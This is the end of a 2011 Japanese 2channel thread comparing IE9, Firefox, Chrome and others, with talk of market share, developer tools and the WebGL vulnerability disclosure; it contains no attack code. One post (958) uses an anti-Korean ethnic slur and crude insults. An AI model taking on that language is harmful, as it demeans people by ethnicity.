【もちろん最新バージョンのIE9 でも危ないIE9。いつも通り過ぎるので、誰も気に止めません。】
http://news.idg.no/cw/art.cfm?id=B028CAD3-1A64-6A71-CEB94E33CBDA3B3A
【簡単にクラッシュします。しかし、いつも通りすぎるので、誰も気に止めません。】
http://crashie8.com/
【対応OSが最も少ないIE9, IE10はVistaも非対応!?】
IE9: Vista, 7; IE8: Xp, Vista, 7
Fx10, Firefox, Chrome, Opera: XP, Vista, 7, Mac, Linux
【期待のIE9 でも、IE減少の流れは変わらず】
http://gs.statcounter.com/#browser-ww-daily-20100501-20110501
【実は、既にヨーロッパでは唯一の自慢だったシェアが1位で無くなっている件】
http://gs.statcounter.com/#browser-eu-daily-20100501-20110501
【Web標準規格への対応は・・・もちろん/(^o^)\】
http://html5test.com/results.html
【Web標準規格に対応しない結果がコレ。表示されませんか?それはIEだからです。】
http://www.iquilezles.org/apps/shadertoy/
【Firefox や Chrome から移行したいのですが、○○のアドオン有りますか?】
そんな情弱の使うツールなど知らん。
IE9 :「俺と勝負するときは、Microsoftのサイトに来い!相手してやるよ!」

945 :名無しさん@お腹いっぱい。:2011/05/13(金) 01:07:11.13 ID:AfIjAeKD0
>>942
Googleは世界最大のオンライン広告配信業者だからな

946 :名無しさん@お腹いっぱい。:2011/05/13(金) 02:45:19.05 ID:UOPKLpll0
クロームだけ変になるCanvas描画ドラえもんって需要ある?

947 :名無しさん@お腹いっぱい。:2011/05/13(金) 07:00:12.86 ID:700GPSqj0
一昨日から、急にIE8が重くなったんだがナゼだろう
メンドーだからIE7に落とした・・・狐も使ってるけどね

XP SP3 + Q9650 + 9800GT + MEM4GB

948 :名無しさん@お腹いっぱい。:2011/05/13(金) 12:43:52.63 ID:sUUSwlBc0
>>937
よく考えたら about:flags で、
GPUアクセラレートが標準で切られてるから問題無いのかな?

949 :名無しさん@お腹いっぱい。:2011/05/13(金) 15:04:44.02 ID:et8qsgMH0
>>948
GPUアクセラレータと、WebGL は別機能なので、関係ないよ。
だから、WebGL を Off にしないといけない。

ただし、見る限り気にするようなバグではないんだけどねぇ。
非常に特殊な条件が整わない限り、大した攻撃ができないのは確か。
また、既にセキュリティ対策が練られようとしているので、
もう少し待てば自然に対策が取られるかと。


950 :名無しさん@お腹いっぱい。:2011/05/13(金) 15:27:20.50 ID:8Qdc1cCH0
WebGLの(実質的に)仕様上の脆弱性について(日本語訳)
ttp://d.hatena.ne.jp/atsushieno/20110511/p1

要はビデオカードメーカー泣かせの仕様ってことか

951 :名無しさん@お腹いっぱい。:2011/05/13(金) 15:53:00.38 ID:et8qsgMH0
>>950
ま、そういう事だね。

ただ、DoSアタックについては、特に「何を今更」感が漂っていると思うよ。
そもそも WebGL を規格している団体 Khronos Group 自体が、前々から
こういうことが起こり得ることを言っていた。(そもそも、Context Information Security社
が引用している実証コードも、Khronos Group が 前々から出してたコードを引用しているだけ。
そもそも、GL_ARB_robustness自体、1年以上前にそれに対抗する仕様として
作られているわけだし。

そして、クロスドメイン image の取得についても、ちょっと前から言われていた問題。
ただ、実証コードは作られてなかったので、今回 Context Information Security 社が
出したってことでしょ。


952 :名無しさん@お腹いっぱい。:2011/05/13(金) 16:03:04.30 ID:1QjUhU9r0
Chromeって工作員みたいなのよくわくね
明らかに絶賛の仕方が気持ち悪い

953 :名無しさん@お腹いっぱい。:2011/05/13(金) 16:05:48.83 ID:et8qsgMH0
>>952
IEの工作員はよく見るけど・・・。
例えばどいつなん?

954 :名無しさん@お腹いっぱい。:2011/05/13(金) 16:13:33.05 ID:cQLLrXUM0
IE厨=アドオンの快適さを知らずに速い速いという情弱御用達ブラウザ
chrome厨=お仕着せの仕様と若干のエクステンションで満足している自称情強御用達ブラウザ
Fx厨=自分ではjsもcssもかけないのにググって自分がカスタマイズしたと勘違いしている自称情強御用達ブラウザ

こんなとこだろ
オペラは使ったことないからシラネ

955 :名無しさん@お腹いっぱい。:2011/05/13(金) 16:18:58.90 ID:z4fgfQWa0
元からあるのを手直しして使うのは駄目なのかw

956 :名無しさん@お腹いっぱい。:2011/05/13(金) 16:25:46.49 ID:8Qdc1cCH0
Safari工作員はもっと元気出せよ

957 :名無しさん@お腹いっぱい。:2011/05/13(金) 16:46:58.57 ID:jlRbUlJs0
え? じゃあ、Safariさいこー

958 :知的障害自覚できず:2011/05/13(金) 16:59:18.92 ID:T7oLEahl0
http://hibari.2ch.net/test/read.cgi/software/1304575213/
今回まともに相手してやったら最終的に逃亡wチキン宣言するもブーメランで終了w
真性のヘタレなので最後に現れ負け犬の遠吠えをして行った模様終了以外見てないけどw
firefoxスレを聖地(失笑)とかマヌケた事をほざくが守りきれず死亡のモノマネ朝鮮猿でしたw
召喚獣、ユニコーン(苦笑)が大好きな愚図エロゲ猿ですが俺からもどうかよろしくw

959 :名無しさん@お腹いっぱい。:2011/05/13(金) 17:23:28.21 ID:EO1LCDwa0
ソフト板でよくここまで争えるな

960 :名無しさん@お腹いっぱい。:2011/05/13(金) 17:29:39.97 ID:7p1FEe3VP
IE9のF12から使える開発者向け機能がかなり良いっす。
お試しあれ


961 :名無しさん@お腹いっぱい。:2011/05/13(金) 17:47:06.45 ID:JBCuwQ9t0
Firefox の firebug, Chrome の devtools を知らないのか・・・

962 :名無しさん@お腹いっぱい。:2011/05/13(金) 18:14:36.49 ID:7p1FEe3VP
知ってるよ。
ちなみに開発者向けツールはIE8時代からあるけど、IE9で強化された。

963 :名無しさん@お腹いっぱい。:2011/05/13(金) 18:14:51.09 ID:jlRbUlJs0
SafariのWeb Inspectorも知らないのか・・・

964 :名無しさん@お腹いっぱい。:2011/05/13(金) 18:16:56.88 ID:KIRdvtZ50
>>962
強化というか、完全に Firebug系列のをパクッてるよなww

965 :名無しさん@お腹いっぱい。:2011/05/13(金) 18:22:34.15 ID:7p1FEe3VP
>>964
そうだね。Firefoxのほうが公開が早かったね。
けどさ、本来必要ない機能だからな。
普通、HTMLオーサリングツールには各ブラウザでの動作を検証するツールが付いてるからね。

他が付けたらとりあえず付けるっていうのはありだと思う。

966 :名無しさん@お腹いっぱい。:2011/05/13(金) 18:35:13.85 ID:KIRdvtZ50
http://gs.statcounter.com/?PHPSESSID=h3pd5fhjme4safoeloessv3787
世界規模では、

Firefox + Chrome > IE

になってるのか。胸熱だな。

967 :名無しさん@お腹いっぱい。:2011/05/13(金) 18:56:35.39 ID:iZZqMTgk0
>>普通、HTMLオーサリングツールには各ブラウザでの動作を検証するツールが付いてるからね

素人臭いなあ

968 :名無しさん@お腹いっぱい。:2011/05/13(金) 18:57:57.39 ID:cQLLrXUM0
最低限のアドオン整備してくれて、かつIEが世界シェア1位転落したら戻ってもいい
シェア1位のブラウザは脆弱性狙われにくいから
そういう意味ではまさにオペラ最強

969 :名無しさん@お腹いっぱい。:2011/05/13(金) 19:18:11.54 ID:KIRdvtZ50
世界シェア1位転落

とはどういう事かと・・

970 :名無しさん@お腹いっぱい。:2011/05/13(金) 19:37:20.67 ID:KIRdvtZ50
http://gs.statcounter.com/?PHPSESSID=h3pd5fhjme4safoeloessv3787#browser_version-ww-monthly-201004-201104

世界シェアで見ると、
1位:IE8, 2位:Firefox3.6, 3位:Chrome10

で、Firefox4 は 10%ちょっと。 IE9 はもっと少ない(詳しくは知らんけど、多分4%位)
「狙われにくい」という話であれば、IE9 は狙われにくいよ。シェアも全くないわけで。
将来的にはもっと増えるだろうけど。

971 :名無しさん@お腹いっぱい。:2011/05/13(金) 20:09:18.53 ID:7p1FEe3VP
>>968
なんか考え方としてこの人おかしくないか?

自分の好きなブラウザがどんどん良くなる。機能がすばらしい。

というのはわかる。

けどそれ以外のブラウザが転落してとか、そういう発想に至るのって、おかしい気がする。


972 :名無しさん@お腹いっぱい。:2011/05/13(金) 20:17:55.87 ID:+P0VZG7V0
ようするにハッカーのターゲットになりにくい
シェアの少ないブラウザを使いたいってことだろ。
少数意見だが、筋は通っている。

973 :名無しさん@お腹いっぱい。:2011/05/13(金) 20:24:20.80 ID:7p1FEe3VP
既出?
「WebGL」に深刻なセキュリティ問題
http://www.itbusinessedge.com/cm/community/news/sec/blog/webgl-poses-security-threat/?cs=46906
米セキュリティ機関は5月10日、主要ブラウザでWebGLを無効にすることを勧告し、管理団体も対応を
表明した。
WebGLの規格と実装において多数のセキュリティ問題があり、Webブラウザ経由でGPUとグラフィックスドライバに攻撃を
仕掛けられた場合、マシンが使用不能に陥る。問題はWebGLの規格自体に存在しているため、修正しようとすれば重大なアーキテクチャの変更が必要になる。
WebGLはWebブラウザのFirefox 4とGoogle Chromeではデフォルトで有効にされ、AppleのSafariにも組み込まれている

974 :名無しさん@お腹いっぱい。:2011/05/13(金) 20:26:36.17 ID:tsfBho3sP
まあブラウザよりアドベの方が格好の的なんですけどね

975 :名無しさん@お腹いっぱい。:2011/05/13(金) 22:09:24.11 ID:KIRdvtZ50
>>973
既に3回既出。IE使っている人って、しつこいなw
余程、IEとは関係の無い所でセキュリティーの脆弱性が見つかって嬉しかったのはわかるが、
WebGL 切るまえに、Flash無効化して、IE アンインストールすべきww

ttp://www.ipa.go.jp/security/announce/alert.html

2011年度
05月13日掲載 【緊急対策情報】Adobe Flash Player の脆弱性(APSB11-12)について
05月02日更新 【緊急対策情報】Adobe Flash Player および Flash を扱う製品の脆弱性(APSA11-02)について
04月13日掲載 【緊急対策情報】Internet Explorer の脆弱性の修正について(MS11-018)

2010年度
03月22日掲載 【緊急対策情報】Adobe Flash Player および Flash を扱う製品の脆弱性(APSA11-01)について
02月09日掲載 【緊急対策情報】Internet Explorer の脆弱性の修正について(MS11-003)
01月14日掲載 「マイクロソフト Internet Explorer の脆弱性に対する回避策について」の注意喚起
12月15日掲載 【緊急対策情報】Internet Explorer の脆弱性について(MS10-090)
11月10日更新 【緊急対策情報】Adobe Flash Player の脆弱性(APSB10-26)について
10月06日更新 【緊急対策情報】Adobe Flash Player および Flash を扱う製品の脆弱性について
06月30日更新 【緊急対策情報】Adobe Flash Player および Flash を扱うアドビ製品の脆弱性について

2009年度
03月31日掲載 【緊急対策情報】Internet Explorer の脆弱性(MS10-018)について
01月22日掲載 【緊急対策情報】Internet Explorer の脆弱性(MS10-002)について
01月22日更新 【緊急対策情報】修正プログラム提供前の脆弱性を悪用したゼロデイ攻撃について
12月09日掲載 【緊急対策情報】Internet Explorer の脆弱性(MS09-072)について
08月14日更新 【緊急対策情報】Adobe Flash Player、Adobe Reader、Acrobat、Adobe AIR の脆弱性について

等々、FlashPlayer と IE には、危険が一杯。

976 :シベリアからのお便り:2011/05/14(土) 02:04:35.67 ID:jOIClkcv0
Canvasのブラウザごとの挙動の違いがわかるページを作ったぜ!

http://www42.atwiki.jp/syugyou?cmd=upload&act=open&pageid=240&file=dra.html

977 :名無しさん@お腹いっぱい。:2011/05/14(土) 09:38:11.01 ID:5lpkkZEiP
>>976
ブラウザごとの挙動が違うって事はつまり使えないって事ですね。
「特定のブラウザで表示できない」
というのは実用に耐えない。という事を単純にあらわしてる。

978 : 忍法帖【Lv=31,xxxPT】 :2011/05/14(土) 09:53:59.57 ID:5lpkkZEiP
>>975
『緊急対策情報』つまりそれはFixしたという事をあらわしてる。


979 :名無しさん@お腹いっぱい。:2011/05/14(土) 10:24:35.23 ID:98JNHtIB0
>>978
「危険な脆弱性が見つかったので、それに対抗する措置(バグFix)が出ました。
皆さん、攻撃されないように、早めに Fix を適用してください。」
という意味。
毎月のように脆弱性見つかっているんだから、危ないよね?

WebGL をOFF にする程セキュリティー対策に慎重な人が、
Flash をON にしたり IE を使用したりするのは、
傍目からみて「なんかバカみたい」 って思わざるを得ない、ってことだよ。

Firefox や Chrome, Opera なんかを使用していて、
Flash も無効化にしている人が、WebGL を無効化するなら、意味はわかるけど。

ま、気分の問題といえば気分の問題なので、各自好きにすればいいと思う。

980 :名無しさん@お腹いっぱい。:2011/05/14(土) 14:09:25.53 ID:2zejO0h60
それはそれでアホらしい言い分だな

981 :名無しさん@お腹いっぱい。:2011/05/14(土) 15:07:27.57 ID:nmKZGCA30
利便性とのトレードオフも考慮に入れる必要があるだろ
WebGLなんて現状オフにしたところで何も困らないが
Flashは人によっては支障がある

982 :名無しさん@お腹いっぱい。:2011/05/14(土) 15:19:38.16 ID:7jOJPl0g0
IE6のユーザがまだ結構いるみたいだけどセキュリティ的にはどうなの?
ttp://gs.statcounter.com/?PHPSESSID=h3pd5fhjme4safoeloessv3787#browser_version-JP-monthly-201102-201104

983 :名無しさん@お腹いっぱい。:2011/05/14(土) 15:36:45.87 ID:5lpkkZEiP
気にする必要ないんじゃ?

984 :名無しさん@お腹いっぱい。:2011/05/14(土) 15:55:56.07 ID:nmKZGCA30
今更IE6を使ってる連中なんて、セキュリティどころかPCの知識もないような化石か、
業務の都合その他でどうしてもIE6を使わざるを得ない連中しか居ないんじゃね?
IE6ユーザがいるせいで困るってこともないし、放っておけば良い

985 :名無しさん@お腹いっぱい。:2011/05/14(土) 16:16:48.94 ID:7jOJPl0g0
業務でIE6が組み込まれたシステムが
まだ可動してるかもしれないってか・・・
ローカルな環境なら ふーん って感じだけどw
古いから穴は塞がれた後なのかな?

986 :名無しさん@お腹いっぱい。:2011/05/14(土) 16:32:01.86 ID:AffOkTAH0
>>985
役所入札なんかは最近ようやくIE7使用可になったってところが
結構あるぞ
それでもIE8互換モードまででIE9とかOSも7のSP1や64bitは駄目って
ところが結構多い
業務でIE6をネット環境でってのは役所関係が一番多いんじゃないかな?

987 :名無しさん@お腹いっぱい。:2011/05/14(土) 16:50:48.42 ID:IsRbL1ROP
>>984 
充分困るだろ 

988 :名無しさん@お腹いっぱい。:2011/05/14(土) 17:03:16.21 ID:5lpkkZEiP
>>987
役所じゃ、i-フィルター導入してるから安全と確認されたサイト以外にはアクセスできない。
プロキシでhttpフィルタリングやhttpウイルススキャンをしてる。

問題ない。

989 :名無しさん@お腹いっぱい。:2011/05/14(土) 17:10:04.90 ID:j07arNI/P
そんなんだから毎年JR東日本にウイルス仕掛けられるんだよ

990 :名無しさん@お腹いっぱい。:2011/05/14(土) 17:16:53.44 ID:L0FcMdSa0
>>986
官公庁は特定の環境に依存しないように通達が出てるから
IEの6〜8とFirefoxとSafariくらいには対応するようになってるはず

地方自治体は予算の兼ね合いから、比較的更新されるページこそほぼ全ブラウザ対応だけど
一部システムにブラウザの制限が残ってたりする事はあるかも

991 :名無しさん@お腹いっぱい。:2011/05/14(土) 18:21:46.52 ID:C33ztkI+0
>>990
役所のホームページがFirefox, Safari対応するのは当然。
なってないなら担当者は寝てるだけ。クビにするしかない。

役所で業務に使われているブラウザが古いという話だろ。
特にシステムに組み込まれているようなブラウザがいつまでもIE6というのはよくある話。
ま、そうは言っても個人情報漏洩を防ぐために大概ローカルなんでしょうが。

992 :名無しさん@お腹いっぱい。:2011/05/14(土) 18:41:39.68 ID:L0FcMdSa0
>>991
自治体相手のヘルプデスクをやってるんだけど
IE6のままで使ってるユーザよりは、IE8に上がってるユーザの方が多いかな
XPの自動アップデートをオンにしてたら8に上がるから


ただ、役場はまだ良い方なんだけど、
問題なのは土建屋とかのように、システム自体に疎い方面の業種
製図とかする所はそれでも新しいPCを導入したりもするけど
個人事業主みたいな所だと、随分昔にPCを買ったっきり、なんて人もいる様子

993 :名無しさん@お腹いっぱい。:2011/05/14(土) 19:11:31.28 ID:IsRbL1ROP
RockMelt. Your Browser. Re-Imagined. Download now for free. Also available for iPhone. http://www.rockmelt.com/
いつの間にiPhone版でてたんだ・・・

994 :名無しさん@お腹いっぱい。:2011/05/14(土) 19:19:02.29 ID:C33ztkI+0
Webkitベースなら機能やUIを付け加えてiOS展開も可能というわけか。

995 :名無しさん@お腹いっぱい。:2011/05/14(土) 19:21:22.21 ID:5lpkkZEiP
>>976
ブラウザごとの挙動の違いがわかるページがあるぜ!
http://jsdo.it/event/svggirl/

996 :名無しさん@お腹いっぱい。:2011/05/14(土) 21:01:36.23 ID:nmKZGCA30
>987
何か困ることあるか?
無防備なPCがボットネットに加担するってことなら、IE6に限った話じゃないし
MSからも見限られたIE6を今更サポートする必要もないだろう


ところで次スレはどこなんだ?

997 :名無しさん@お腹いっぱい。:2011/05/14(土) 21:41:16.58 ID:svy0v3e30
もう次スレ要らないだろ

998 :名無しさん@お腹いっぱい。:2011/05/14(土) 21:43:24.61 ID:j07arNI/P
ここなくなると各ブラウザスレにキチガイが5人ほどいつくぞ

999 :名無しさん@お腹いっぱい。:2011/05/14(土) 21:52:07.16 ID:IsRbL1ROP
10000

1000 :名無しさん@お腹いっぱい。:2011/05/14(土) 22:09:46.29 ID:1Xp9R/FM0
1000なら駅前の黒沢dcの受付と結婚する。

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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